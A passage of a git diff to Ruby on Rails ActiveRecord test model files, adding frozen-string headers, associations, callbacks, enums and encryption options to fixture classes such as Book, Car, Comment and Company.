+  self.table_name = "books"
+
+  has_many :taggings, as: :taggable, class_name: "Tagging"
+  has_many :tags, through: :taggings, dependent: :destroy_async
+  has_many :essays, dependent: :destroy_async, class_name: "EssayDestroyAsync", foreign_key: "book_id"
+  has_one :content, dependent: :destroy_async
+
+  enum :status, [:proposed, :written, :published]
+
+  def published!
+    super
+    "do publish work..."
+  end
+end
+
+class BookDestroyAsyncWithScopedTags < ActiveRecord::Base
+  self.table_name = "books"
+
+  has_many :taggings, as: :taggable, class_name: "Tagging"
+  has_many :tags, -> { where name: "Der be rum" }, through: :taggings, dependent: :destroy_async
+end
diff --git a/activerecord/test/models/book_encrypted.rb b/activerecord/test/models/book_encrypted.rb
new file mode 100644
index 0000000000000..dcd58f07d6802
--- /dev/null
+++ b/activerecord/test/models/book_encrypted.rb
@@ -0,0 +1,106 @@
+# frozen_string_literal: true
+
+class UnencryptedBook < ActiveRecord::Base
+  self.table_name = "encrypted_books"
+end
+
+class EncryptedBook < ActiveRecord::Base
+  self.table_name = "encrypted_books"
+
+  encrypts :name, deterministic: true
+end
+
+class EncryptedBookWithUniquenessValidation < ActiveRecord::Base
+  self.table_name = "encrypted_books"
+
+  validates :name, uniqueness: true
+  encrypts :name, deterministic: true
+end
+
+class EncryptedBookWithDowncaseName < ActiveRecord::Base
+  self.table_name = "encrypted_books"
+
+  validates :name, uniqueness: true
+  encrypts :name, deterministic: true, downcase: true
+end
+
+class EncryptedBookNormalizedFirst < ActiveRecord::Base
+  self.table_name = "encrypted_books"
+
+  normalizes :name, with: ->(value) { value.to_s.downcase }
+  encrypts :name
+  normalizes :logo, with: ->(value) { value.to_s.downcase }
+  encrypts :logo
+end
+
+class EncryptedBookNormalizedSecond < ActiveRecord::Base
+  self.table_name = "encrypted_books"
+
+  encrypts :name
+  normalizes :name, with: ->(value) { value.to_s.downcase }
+  encrypts :logo
+  normalizes :logo, with: ->(value) { value.to_s.downcase }
+end
+
+class EncryptedBookAttribute < ActiveRecord::Base
+  self.table_name = "encrypted_books"
+
+  attribute :name, :date
+  encrypts :name
+end
+
+class EncryptedBookThatIgnoresCase < ActiveRecord::Base
+  self.table_name = "encrypted_books"
+
+  encrypts :name, deterministic: true, ignore_case: true
+end
+
+class EncryptedBookWithUnencryptedDataOptedOut < ActiveRecord::Base
+  self.table_name = "encrypted_books"
+
+  validates :name, uniqueness: true
+  encrypts :name, deterministic: true, support_unencrypted_data: false
+end
+
+class EncryptedBookWithUnencryptedDataOptedIn < ActiveRecord::Base
+  self.table_name = "encrypted_books"
+
+  validates :name, uniqueness: true
+  encrypts :name, deterministic: true, support_unencrypted_data: true
+end
+
+class EncryptedBookWithBinary < ActiveRecord::Base
+  self.table_name = "encrypted_books"
+
+  encrypts :logo
+end
+
+class EncryptedBookWithSerializedFirstBinary < ActiveRecord::Base
+  self.table_name = "encrypted_books"
+
+  serialize :logo, coder: JSON
+  encrypts :logo
+end
+
+class EncryptedBookWithSerializedSecondBinary < ActiveRecord::Base
+  self.table_name = "encrypted_books"
+
+  encrypts :logo
+  serialize :logo, coder: JSON
+end
+
+class EncryptedBookWithCustomCompressor < ActiveRecord::Base
+  module CustomCompressor
+    def self.deflate(value)
+      "[compressed] #{value}"
+    end
+
+    def self.inflate(value)
+      value
+    end
+  end
+
+  self.table_name = "encrypted_books"
+
+  encrypts :name, compressor: CustomCompressor
+end
diff --git a/activerecord/test/models/book_identifier.rb b/activerecord/test/models/book_identifier.rb
new file mode 100644
index 0000000000000..391327809a2c0
--- /dev/null
+++ b/activerecord/test/models/book_identifier.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class BookIdentifier < ActiveRecord::Base
+  belongs_to :book
+end
diff --git a/activerecord/test/models/boolean.rb b/activerecord/test/models/boolean.rb
index 0da228aac2f8a..bee757fb9cf3f 100644
--- a/activerecord/test/models/boolean.rb
+++ b/activerecord/test/models/boolean.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Boolean < ActiveRecord::Base
   def has_fun
     super
diff --git a/activerecord/test/models/branch.rb b/activerecord/test/models/branch.rb
new file mode 100644
index 0000000000000..231b007709a86
--- /dev/null
+++ b/activerecord/test/models/branch.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class Branch < ActiveRecord::Base
+  has_many :branches
+  belongs_to :branch, optional: true
+end
+
+class BrokenBranch < Branch
+  has_many :branches, class_name: "BrokenBranch", foreign_key: :branch_id
+  belongs_to :branch, optional: true, inverse_of: :branch, class_name: "BrokenBranch"
+end
diff --git a/activerecord/test/models/bulb.rb b/activerecord/test/models/bulb.rb
index 113d21cb84976..1286c5d25022d 100644
--- a/activerecord/test/models/bulb.rb
+++ b/activerecord/test/models/bulb.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 class Bulb < ActiveRecord::Base
   default_scope { where(name: "defaulty") }
-  belongs_to :car, touch: true
+  belongs_to :car, touch: true, counter_cache: { active: false }
   scope :awesome, -> { where(frickinawesome: true) }
 
-  attr_reader :scope_after_initialize, :attributes_after_initialize
+  attr_reader :scope_after_initialize, :attributes_after_initialize, :count_after_create
 
   after_initialize :record_scope_after_initialize
   def record_scope_after_initialize
@@ -15,6 +17,13 @@ def record_attributes_after_initialize
     @attributes_after_initialize = attributes.dup
   end
 
+  after_create :record_count_after_create
+  def record_count_after_create
+    @count_after_create = Bulb.unscoped do
+      car&.bulbs&.count
+    end
+  end
+
   def color=(color)
     self[:color] = color.upcase + "!"
   end
diff --git a/activerecord/test/models/cake_designer.rb b/activerecord/test/models/cake_designer.rb
index 9c57ef573ae2c..0b2a00edfd01c 100644
--- a/activerecord/test/models/cake_designer.rb
+++ b/activerecord/test/models/cake_designer.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class CakeDesigner < ActiveRecord::Base
   has_one :chef, as: :employable
 end
diff --git a/activerecord/test/models/car.rb b/activerecord/test/models/car.rb
index 92bff7ff96470..194a6829eb1d3 100644
--- a/activerecord/test/models/car.rb
+++ b/activerecord/test/models/car.rb
@@ -1,6 +1,12 @@
+# frozen_string_literal: true
+
 class Car < ActiveRecord::Base
+  belongs_to :person, counter_cache: true
   has_many :bulbs
-  has_many :all_bulbs, -> { unscope where: :name }, class_name: "Bulb"
+  has_many :all_bulbs, -> { unscope(where: :name) }, class_name: "Bulb"
+  has_many :all_bulbs2, -> { unscope(:where) }, class_name: "Bulb"
+  has_many :other_bulbs, -> { unscope(where: :name).where(name: "other") }, class_name: "Bulb"
+  has_many :old_bulbs, -> { rewhere(name: "old") }, class_name: "Bulb"
   has_many :funky_bulbs, class_name: "FunkyBulb", dependent: :destroy
   has_many :failed_bulbs, class_name: "FailedBulb", dependent: :destroy
   has_many :foo_bulbs, -> { where(name: "foo") }, class_name: "Bulb"
@@ -8,16 +14,18 @@ class Car < ActiveRecord::Base
 
   has_one :bulb
 
-  has_many :tyres
+  has_many :tires, counter_cache: :custom_tires_count
   has_many :engines, dependent: :destroy, inverse_of: :my_car
   has_many :wheels, as: :wheelable, dependent: :destroy
 
   has_many :price_estimates, as: :estimate_of
 
-  scope :incl_tyres, -> { includes(:tyres) }
+  scope :incl_tires, -> { includes(:tires) }
   scope :incl_engines, -> { includes(:engines) }
 
   scope :order_using_new_style,  -> { order("name asc") }
+
+  attribute :wheels_owned_at, :datetime, default: -> { Time.now }
 end
 
 class CoolCar < Car
@@ -27,3 +35,9 @@ class CoolCar < Car
 class FastCar < Car
   default_scope { order("name desc") }
 end
+
+class BrokenCar < Car
+  after_save do
+    raise ActiveRecord::Rollback
+  end
+end
diff --git a/activerecord/test/models/carrier.rb b/activerecord/test/models/carrier.rb
index 230be118c3355..995a9d3befdf8 100644
--- a/activerecord/test/models/carrier.rb
+++ b/activerecord/test/models/carrier.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 class Carrier < ActiveRecord::Base
 end
diff --git a/activerecord/test/models/cart.rb b/activerecord/test/models/cart.rb
new file mode 100644
index 0000000000000..5fa6a572f2ae6
--- /dev/null
+++ b/activerecord/test/models/cart.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Cart < ActiveRecord::Base
+  self.primary_key = :id
+end
diff --git a/activerecord/test/models/cat.rb b/activerecord/test/models/cat.rb
index dfdde186419ea..386cb85a54faf 100644
--- a/activerecord/test/models/cat.rb
+++ b/activerecord/test/models/cat.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 class Cat < ActiveRecord::Base
   self.abstract_class = true
 
-  enum gender: [:female, :male]
+  enum :gender, [:female, :male]
 
   default_scope -> { where(is_vegetarian: false) }
 end
diff --git a/activerecord/test/models/categorization.rb b/activerecord/test/models/categorization.rb
index b99383d0b19e6..68b0ea90d3ec3 100644
--- a/activerecord/test/models/categorization.rb
+++ b/activerecord/test/models/categorization.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Categorization < ActiveRecord::Base
   belongs_to :post
   belongs_to :category, counter_cache: true
diff --git a/activerecord/test/models/category.rb b/activerecord/test/models/category.rb
index e8654dca019ef..fcdf8b6d31a4a 100644
--- a/activerecord/test/models/category.rb
+++ b/activerecord/test/models/category.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Category < ActiveRecord::Base
   has_and_belongs_to_many :posts
   has_and_belongs_to_many :special_posts, class_name: "Post"
@@ -14,7 +16,6 @@ class Category < ActiveRecord::Base
                           -> { where title: "Yet Another Testing Title" },
                           class_name: "Post"
 
-  has_and_belongs_to_many :popular_grouped_posts, -> { group("posts.type").having("sum(comments.post_id) > 2").includes(:comments) }, class_name: "Post"
   has_and_belongs_to_many :posts_grouped_by_title, -> { group("title").select("title") }, class_name: "Post"
 
   def self.what_are_you
@@ -24,11 +25,24 @@ def self.what_are_you
   has_many :categorizations
   has_many :special_categorizations
   has_many :post_comments, through: :posts, source: :comments
+  has_many :ordered_post_comments, -> { order(id: :desc) }, through: :posts, source: :comments
 
   has_many :authors, through: :categorizations
   has_many :authors_with_select, -> { select "authors.*, categorizations.post_id" }, through: :categorizations, source: :author
 
+  has_many :essays, primary_key: :name
+  has_many :human_writers_of_typed_essays, -> { where(essays: { type: TypedEssay.name }) }, through: :essays, source: :writer, source_type: "Human", primary_key: :name
+
   scope :general, -> { where(name: "General") }
+
+  # Should be delegated `ast` and `locked` to `arel`.
+  def self.ast
+    raise
+  end
+
+  def self.locked
+    raise
+  end
 end
 
 class SpecialCategory < Category
diff --git a/activerecord/test/models/chat_message.rb b/activerecord/test/models/chat_message.rb
new file mode 100644
index 0000000000000..2ad6e3cb39776
--- /dev/null
+++ b/activerecord/test/models/chat_message.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class ChatMessage < ActiveRecord::Base
+end
+
+class ChatMessageCustomPk < ActiveRecord::Base
+  self.table_name = "chat_messages_custom_pk"
+end
diff --git a/activerecord/test/models/chef.rb b/activerecord/test/models/chef.rb
index 9d3dd01016ae0..f894cdbeab758 100644
--- a/activerecord/test/models/chef.rb
+++ b/activerecord/test/models/chef.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Chef < ActiveRecord::Base
   belongs_to :employable, polymorphic: true
   has_many :recipes
@@ -6,3 +8,55 @@ class Chef < ActiveRecord::Base
 class ChefList < Chef
   belongs_to :employable_list, polymorphic: true
 end
+
+class ChefWithPolymorphicInverseOf < Chef
+  attr_reader :before_validation_callbacks_counter
+  attr_reader :before_create_callbacks_counter
+  attr_reader :before_save_callbacks_counter
+
+  attr_reader :after_validation_callbacks_counter
+  attr_reader :after_create_callbacks_counter
+  attr_reader :after_save_callbacks_counter
+
+  belongs_to :employable, polymorphic: true, inverse_of: :chef
+  accepts_nested_attributes_for :employable
+
+  before_validation :update_before_validation_counter
+  before_create :update_before_create_counter
+  before_save :update_before_save_counter
+
+  after_validation :update_after_validation_counter
+  after_create :update_after_create_counter
+  after_save :update_after_save_counter
+
+  private
+    def update_before_validation_counter
+      @before_validation_callbacks_counter ||= 0
+      @before_validation_callbacks_counter += 1
+    end
+
+    def update_before_create_counter
+      @before_create_callbacks_counter ||= 0
+      @before_create_callbacks_counter += 1
+    end
+
+    def update_before_save_counter
+      @before_save_callbacks_counter ||= 0
+      @before_save_callbacks_counter += 1
+    end
+
+    def update_after_validation_counter
+      @after_validation_callbacks_counter ||= 0
+      @after_validation_callbacks_counter += 1
+    end
+
+    def update_after_create_counter
+      @after_create_callbacks_counter ||= 0
+      @after_create_callbacks_counter += 1
+    end
+
+    def update_after_save_counter
+      @after_save_callbacks_counter ||= 0
+      @after_save_callbacks_counter += 1
+    end
+end
diff --git a/activerecord/test/models/citation.rb b/activerecord/test/models/citation.rb
index 7d06387f565a7..6361e131eb34a 100644
--- a/activerecord/test/models/citation.rb
+++ b/activerecord/test/models/citation.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
 class Citation < ActiveRecord::Base
+  belongs_to :book, foreign_key: :book1_id, inverse_of: :citations, touch: true
   belongs_to :reference_of, class_name: "Book", foreign_key: :book2_id
+  has_many :citations
 end
diff --git a/activerecord/test/models/clothing_item.rb b/activerecord/test/models/clothing_item.rb
new file mode 100644
index 0000000000000..190ddccd531d4
--- /dev/null
+++ b/activerecord/test/models/clothing_item.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class ClothingItem < ActiveRecord::Base
+  query_constraints :clothing_type, :color
+end
+
+class ClothingItem::Used < ClothingItem
+end
+
+class ClothingItem::Sized < ClothingItem
+  query_constraints :clothing_type, :color, :size
+end
diff --git a/activerecord/test/models/club.rb b/activerecord/test/models/club.rb
index 49d7b24a3b9ec..dc2a1b03f7cb6 100644
--- a/activerecord/test/models/club.rb
+++ b/activerecord/test/models/club.rb
@@ -1,15 +1,29 @@
+# frozen_string_literal: true
+
 class Club < ActiveRecord::Base
-  has_one :membership
+  has_one :membership, touch: true
   has_many :memberships, inverse_of: false
   has_many :members, through: :memberships
   has_one :sponsor
-  has_one :sponsored_member, through: :sponsor, source: :sponsorable, source_type: "Member"
+  has_one :sponsored_member, through: :sponsor, source: :sponsorable, source_type: :Member
   belongs_to :category
 
-  has_many :favourites, -> { where(memberships: { favourite: true }) }, through: :memberships, source: :member
+  has_many :favorites, -> { where(memberships: { favorite: true }) }, through: :memberships, source: :member
 
-  private
+  has_many :custom_memberships, class_name: "Membership"
+  has_many :custom_favorites, -> { where(memberships: { favorite: true }) }, through: :custom_memberships, source: :member
+
+  scope :general, -> { left_joins(:category).where(categories: { name: "General" }).unscope(:limit) }
+
+  has_many :program_offerings
+  has_many :programs, through: :program_offerings
 
+  has_many :simple_memberships, class_name: "Membership"
+  has_many :simple_members, through: :simple_memberships, foreign_key: "member_id"
+
+  accepts_nested_attributes_for :membership
+
+  private
     def private_method
       "I'm sorry sir, this is a *private* club, not a *pirate* club"
     end
diff --git a/activerecord/test/models/college.rb b/activerecord/test/models/college.rb
index c9dbe1ecc2080..2efa4bc42bf62 100644
--- a/activerecord/test/models/college.rb
+++ b/activerecord/test/models/college.rb
@@ -1,4 +1,6 @@
-require_dependency "models/arunit2_model"
+# frozen_string_literal: true
+
+require "models/arunit2_model"
 require "active_support/core_ext/object/with_options"
 
 class College < ARUnit2Model
diff --git a/activerecord/test/models/column.rb b/activerecord/test/models/column.rb
index 499358b4cf47a..d3cd419a00fe7 100644
--- a/activerecord/test/models/column.rb
+++ b/activerecord/test/models/column.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Column < ActiveRecord::Base
   belongs_to :record
 end
diff --git a/activerecord/test/models/column_name.rb b/activerecord/test/models/column_name.rb
index 460eb4fe20e5b..c6047c507b705 100644
--- a/activerecord/test/models/column_name.rb
+++ b/activerecord/test/models/column_name.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class ColumnName < ActiveRecord::Base
   self.table_name = "colnametests"
 end
diff --git a/activerecord/test/models/comment.rb b/activerecord/test/models/comment.rb
index a4b81d56e0538..c8ebc12429069 100644
--- a/activerecord/test/models/comment.rb
+++ b/activerecord/test/models/comment.rb
@@ -1,3 +1,8 @@
+# frozen_string_literal: true
+
+# `counter_cache` requires association class before `attr_readonly`.
+class Post < ActiveRecord::Base; end
+
 class Comment < ActiveRecord::Base
   scope :limit_by, lambda { |l| limit(l) }
   scope :containing_the_letter_e, -> { where("comments.body LIKE '%e%'") }
@@ -5,19 +10,42 @@ class Comment < ActiveRecord::Base
   scope :for_first_post, -> { where(post_id: 1) }
   scope :for_first_author, -> { joins(:post).where("posts.author_id" => 1) }
   scope :created, -> { all }
+  scope :ordered_by_post_id, -> { order("comments.post_id DESC") }
 
   belongs_to :post, counter_cache: true
   belongs_to :author,   polymorphic: true
   belongs_to :resource, polymorphic: true
-  belongs_to :developer
+  belongs_to :origin, polymorphic: true
+  belongs_to :company, foreign_key: "company"
 
   has_many :ratings
 
   belongs_to :first_post, foreign_key: :post_id
   belongs_to :special_post_with_default_scope, foreign_key: :post_id
 
-  has_many :children, class_name: "Comment", foreign_key: :parent_id
-  belongs_to :parent, class_name: "Comment", counter_cache: :children_count
+  has_one :post_with_inverse, ->(comment) { where(id: comment.post_id) }, class_name: "FirstPost", inverse_of: :comment_with_inverse
+
+  has_many :children, class_name: "Comment", inverse_of: :parent
+  belongs_to :parent, class_name: "Comment", counter_cache: :children_count, inverse_of: :children
+
+  enum :label, [:default, :child]
+
+  class ::OopsError < RuntimeError; end
+
+  module OopsExtension
+    def destroy_all(*)
+      raise OopsError
+    end
+  end
+
+  default_scope { extending OopsExtension }
+
+  scope :oops_comments, -> { extending OopsExtension }
+
+  # Should not be called if extending modules that having the method exists on an association.
+  def self.greeting
+    raise
+  end
 
   def self.what_are_you
     "a comment..."
@@ -38,6 +66,13 @@ def to_s
 end
 
 class SpecialComment < Comment
+  belongs_to :ordinary_post, foreign_key: :post_id, class_name: "Post"
+  has_one :author, through: :post
+  default_scope { where(deleted_at: nil) }
+
+  def self.what_are_you
+    "a special comment..."
+  end
 end
 
 class SubSpecialComment < SpecialComment
@@ -50,7 +85,7 @@ class CommentThatAutomaticallyAltersPostBody < Comment
   belongs_to :post, class_name: "PostThatLoadsCommentsInAnAfterSaveHook", foreign_key: :post_id
 
   after_save do |comment|
-    comment.post.update_attributes(body: "Automatically altered")
+    comment.post.update(body: "Automatically altered")
   end
 end
 
@@ -58,3 +93,9 @@ class CommentWithDefaultScopeReferencesAssociation < Comment
   default_scope -> { includes(:developer).order("developers.name").references(:developer) }
   belongs_to :developer
 end
+
+class CommentWithAfterCreateUpdate < Comment
+  after_create do
+    update(body: "bar")
+  end
+end
diff --git a/activerecord/test/models/comment_overlapping_counter_cache.rb b/activerecord/test/models/comment_overlapping_counter_cache.rb
new file mode 100644
index 0000000000000..60c3c7de29d69
--- /dev/null
+++ b/activerecord/test/models/comment_overlapping_counter_cache.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class CommentOverlappingCounterCache < ActiveRecord::Base
+  belongs_to :user_comments_count, counter_cache: :comments_count
+  belongs_to :post_comments_count, class_name: "PostCommentsCount"
+  belongs_to :commentable, polymorphic: true, counter_cache: :comments_count
+end
+
+class UserCommentsCount < ActiveRecord::Base
+  has_many :comments, as: :commentable, class_name: "CommentOverlappingCounterCache"
+end
+
+class PostCommentsCount < ActiveRecord::Base
+  has_many :comments, class_name: "CommentOverlappingCounterCache"
+end
diff --git a/activerecord/test/models/company.rb b/activerecord/test/models/company.rb
index 20e37710e7790..f497b9b446a18 100644
--- a/activerecord/test/models/company.rb
+++ b/activerecord/test/models/company.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class AbstractCompany < ActiveRecord::Base
   self.abstract_class = true
 end
@@ -5,15 +7,23 @@ class AbstractCompany < ActiveRecord::Base
 class Company < AbstractCompany
   self.sequence_name = :companies_nonstd_seq
 
+  enum :status, [:active, :suspended]
+
   validates_presence_of :name
 
+  has_one :account, foreign_key: "firm_id"
   has_one :dummy_account, foreign_key: "firm_id", class_name: "Account"
   has_many :contracts
   has_many :developers, through: :contracts
+  has_many :special_contracts, -> { includes(:special_developer).where.not("developers.id": nil) }
+  has_many :special_developers, through: :special_contracts
+  has_many :comments, foreign_key: "company"
+
+  alias_attribute :new_name, :name
+  attribute :metadata, :json
 
   scope :of_first_firm, lambda {
-    joins(account: :firm).
-    where("firms.id" => 1)
+    joins(account: :firm).where("companies.id": 1)
   }
 
   def arbitrary_method
@@ -21,7 +31,6 @@ def arbitrary_method
   end
 
   private
-
     def private_method
       "I am Jack's innermost fears and aspirations"
     end
@@ -49,7 +58,7 @@ class Firm < Company
   has_many :unsorted_clients, class_name: "Client"
   has_many :unsorted_clients_with_symbol, class_name: :Client
   has_many :clients_sorted_desc, -> { order "id DESC" }, class_name: "Client"
-  has_many :clients_of_firm, -> { order "id" }, foreign_key: "client_of", class_name: "Client", inverse_of: :firm
+  has_many :clients_of_firm, -> { order "id" }, class_name: "Client", inverse_of: :firm
   has_many :clients_ordered_by_name, -> { order "name" }, class_name: "Client"
   has_many :unvalidated_clients_of_firm, foreign_key: "client_of", class_name: "Client", validate: false
   has_many :dependent_clients_of_firm, -> { order "id" }, foreign_key: "client_of", class_name: "Client", dependent: :destroy
@@ -77,6 +86,8 @@ class Firm < Company
   has_one :account_with_inexistent_foreign_key, class_name: "Account", foreign_key: "inexistent"
   has_one :deletable_account, foreign_key: "firm_id", class_name: "Account", dependent: :delete
 
+  has_one :client, foreign_key: "client_of"
+
   has_one :account_limit_500_with_hash_conditions, -> { where credit_limit: 500 }, foreign_key: "firm_id", class_name: "Account"
 
   has_one :unautosaved_account, foreign_key: "firm_id", class_name: "Account", autosave: false
@@ -85,6 +96,8 @@ class Firm < Company
 
   has_many :association_with_references, -> { references(:foo) }, class_name: "Client"
 
+  has_many :developers_with_select, -> { select("id, name, first_name") }, class_name: "Developer"
+
   has_one :lead_developer, class_name: "Developer"
   has_many :projects
 
@@ -103,7 +116,7 @@ def log_after_remove(record)
 end
 
 class DependentFirm < Company
-  has_one :account, foreign_key: "firm_id", dependent: :nullify
+  has_one :account, -> { order(:id) }, foreign_key: "firm_id", dependent: :nullify
   has_many :companies, foreign_key: "client_of", dependent: :nullify
   has_one :company, foreign_key: "client_of", dependent: :nullify
 end
@@ -118,8 +131,14 @@ class RestrictedWithErrorFirm < Company
   has_many :companies, -> { order("id") }, foreign_key: "client_of", dependent: :restrict_with_error
 end
 
+class Agency < Firm
+  has_many :projects, foreign_key: :firm_id
+
+  accepts_nested_attributes_for :projects
+end
+
 class Client < Company
-  belongs_to :firm, foreign_key: "client_of"
+  belongs_to :firm, foreign_key: "client_of", inverse_of: :client
   belongs_to :firm_with_basic_id, class_name: "Firm", foreign_key: "firm_id"
   belongs_to :firm_with_select, -> { select("id") }, class_name: "Firm", foreign_key: "firm_id"
   belongs_to :firm_with_other_name, class_name: "Firm", foreign_key: "client_of"
@@ -141,6 +160,21 @@ class RaisedOnSave < RuntimeError; end
     raise RaisedOnSave if raise_on_save
   end
 
+  attr_accessor :throw_on_save
+  before_save do
+    throw :abort if throw_on_save
+  end
+
+  attr_accessor :rollback_on_save
+  after_save do
+    raise ActiveRecord::Rollback if rollback_on_save
+  end
+
+  attr_accessor :rollback_on_create_called
+  after_rollback(on: :create) do |client|
+    client.rollback_on_create_called = true
+  end
+
   class RaisedOnDestroy < RuntimeError; end
   attr_accessor :raise_on_destroy
   before_destroy do
@@ -170,59 +204,37 @@ def rating?
 
   def overwrite_to_raise
   end
-
-  class << self
-    private
-
-    def private_method
-      "darkness"
-    end
-  end
 end
 
 class ExclusivelyDependentFirm < Company
   has_one :account, foreign_key: "firm_id", dependent: :delete
   has_many :dependent_sanitized_conditional_clients_of_firm, -> { order("id").where("name = 'BigShot Inc.'") }, foreign_key: "client_of", class_name: "Client", dependent: :delete_all
+  has_many :dependent_hash_conditional_clients_of_firm, -> { order("id").where(name: "BigShot Inc.") }, foreign_key: "client_of", class_name: "Client", dependent: :delete_all
   has_many :dependent_conditional_clients_of_firm, -> { order("id").where("name = ?", "BigShot Inc.") }, foreign_key: "client_of", class_name: "Client", dependent: :delete_all
 end
 
+class LargeClient < Client
+  attribute :extra_size, :integer
+
+  after_initialize :set_extra_size
+
+  def set_extra_size
+    self[:extra_size] = 50
+  end
+end
+
 class SpecialClient < Client
 end
 
 class VerySpecialClient < SpecialClient
 end
 
-class Account < ActiveRecord::Base
-  belongs_to :firm, class_name: "Company"
-  belongs_to :unautosaved_firm, foreign_key: "firm_id", class_name: "Firm", autosave: false
-
-  alias_attribute :available_credit, :credit_limit
+class NewlyContractedCompany < Company
+  has_many :new_contracts, foreign_key: "company_id"
 
-  def self.destroyed_account_ids
-    @destroyed_account_ids ||= Hash.new { |h, k| h[k] = [] }
-  end
-
-  # Test private kernel method through collection proxy using has_many.
-  def self.open
-    where("firm_name = ?", "37signals")
-  end
-
-  before_destroy do |account|
-    if account.firm
-      Account.destroyed_account_ids[account.firm.id] << account.id
-    end
-    true
+  before_save do
+    self.new_contracts << NewContract.new
   end
-
-  validate :check_empty_credit_limit
-
-  private
-
-    def check_empty_credit_limit
-      errors.add("credit_limit", :blank) if credit_limit.blank?
-    end
-
-    def private_method
-      "Sir, yes sir!"
-    end
 end
+
+require "models/account"
diff --git a/activerecord/test/models/company_in_module.rb b/activerecord/test/models/company_in_module.rb
index 0782c1eff40e0..320b26b9506ba 100644
--- a/activerecord/test/models/company_in_module.rb
+++ b/activerecord/test/models/company_in_module.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/object/with_options"
 
 module MyApplication
@@ -89,7 +91,6 @@ class Account < ActiveRecord::Base
       validate :check_empty_credit_limit
 
       private
-
         def check_empty_credit_limit
           errors.add("credit_card", :blank) if credit_card.blank?
         end
diff --git a/activerecord/test/models/computer.rb b/activerecord/test/models/computer.rb
index 1c9856e1af4d4..f50c71b15d2d7 100644
--- a/activerecord/test/models/computer.rb
+++ b/activerecord/test/models/computer.rb
@@ -1,3 +1,6 @@
+# frozen_string_literal: true
+
 class Computer < ActiveRecord::Base
   belongs_to :developer, foreign_key: "developer"
+  has_one :firm, through: :developer
 end
diff --git a/activerecord/test/models/contact.rb b/activerecord/test/models/contact.rb
index 47bbbbfd8ba57..e286916eb6640 100644
--- a/activerecord/test/models/contact.rb
+++ b/activerecord/test/models/contact.rb
@@ -1,21 +1,23 @@
+# frozen_string_literal: true
+
 module ContactFakeColumns
   def self.extended(base)
     base.class_eval do
       establish_connection(adapter: "fake")
 
-      connection.data_sources = [table_name]
-      connection.primary_keys = {
+      lease_connection.data_sources = [table_name]
+      lease_connection.primary_keys = {
         table_name => "id"
       }
 
-      column :id,             :integer
-      column :name,           :string
-      column :age,            :integer
-      column :avatar,         :binary
-      column :created_at,     :datetime
-      column :awesome,        :boolean
-      column :preferences,    :string
-      column :alternative_id, :integer
+      column :id,             "integer"
+      column :name,           "string"
+      column :age,            "integer"
+      column :avatar,         "binary"
+      column :created_at,     "datetime"
+      column :awesome,        "boolean"
+      column :preferences,    "string"
+      column :alternative_id, "integer"
 
       serialize :preferences
 
@@ -25,7 +27,7 @@ def self.extended(base)
 
   # mock out self.columns so no pesky db is needed for these tests
   def column(name, sql_type = nil, options = {})
-    connection.merge_column(table_name, name, sql_type, options)
+    lease_connection.merge_column(table_name, name, sql_type, options)
   end
 end
 
@@ -35,7 +37,7 @@ class Contact < ActiveRecord::Base
 
 class ContactSti < ActiveRecord::Base
   extend ContactFakeColumns
-  column :type, :string
+  column :type, "string"
 
   def type; "ContactSti" end
 end
diff --git a/activerecord/test/models/content.rb b/activerecord/test/models/content.rb
index 68db2127d886e..14bbee53d8ce9 100644
--- a/activerecord/test/models/content.rb
+++ b/activerecord/test/models/content.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Content < ActiveRecord::Base
   self.table_name = "content"
   has_one :content_position, dependent: :destroy
diff --git a/activerecord/test/models/contract.rb b/activerecord/test/models/contract.rb
index 32bd581377c0b..fdbbd32a1add0 100644
--- a/activerecord/test/models/contract.rb
+++ b/activerecord/test/models/contract.rb
@@ -1,9 +1,13 @@
+# frozen_string_literal: true
+
 class Contract < ActiveRecord::Base
   belongs_to :company
-  belongs_to :developer
+  belongs_to :developer, primary_key: :id
   belongs_to :firm, foreign_key: "company_id"
 
-  before_save :hi
+  attribute :metadata, :json
+
+  before_save :hi, :update_metadata
   after_save :bye
 
   attr_accessor :hi_count, :bye_count
@@ -17,4 +21,22 @@ def bye
     @bye_count ||= 0
     @bye_count += 1
   end
+
+  def update_metadata
+    # 'code' makes the JSON string consistently orderable, which is used
+    # by RelationsTest "joins with order by custom attribute". Without
+    # this it would still pass 99% of the time, but fail when two
+    # records' company_id lexical and numeric order differ (99, 100).
+    self.metadata = { code: company_id && "%08x" % company_id, company_id: company_id, developer_id: developer_id }
+  end
+end
+
+class NewContract < Contract
+  validates :company_id, presence: true
+end
+
+class SpecialContract < ActiveRecord::Base
+  self.table_name = "contracts"
+  belongs_to :company
+  belongs_to :special_developer, foreign_key: "developer_id"
 end
diff --git a/activerecord/test/models/country.rb b/activerecord/test/models/country.rb
index 7912719dddce2..4b4a276a98fd4 100644
--- a/activerecord/test/models/country.rb
+++ b/activerecord/test/models/country.rb
@@ -1,5 +1,5 @@
-class Country < ActiveRecord::Base
-  self.primary_key = :country_id
+# frozen_string_literal: true
 
+class Country < ActiveRecord::Base
   has_and_belongs_to_many :treaties
 end
diff --git a/activerecord/test/models/course.rb b/activerecord/test/models/course.rb
index 348f2bf1e0e3c..5bb3fe9a487aa 100644
--- a/activerecord/test/models/course.rb
+++ b/activerecord/test/models/course.rb
@@ -1,4 +1,6 @@
-require_dependency "models/arunit2_model"
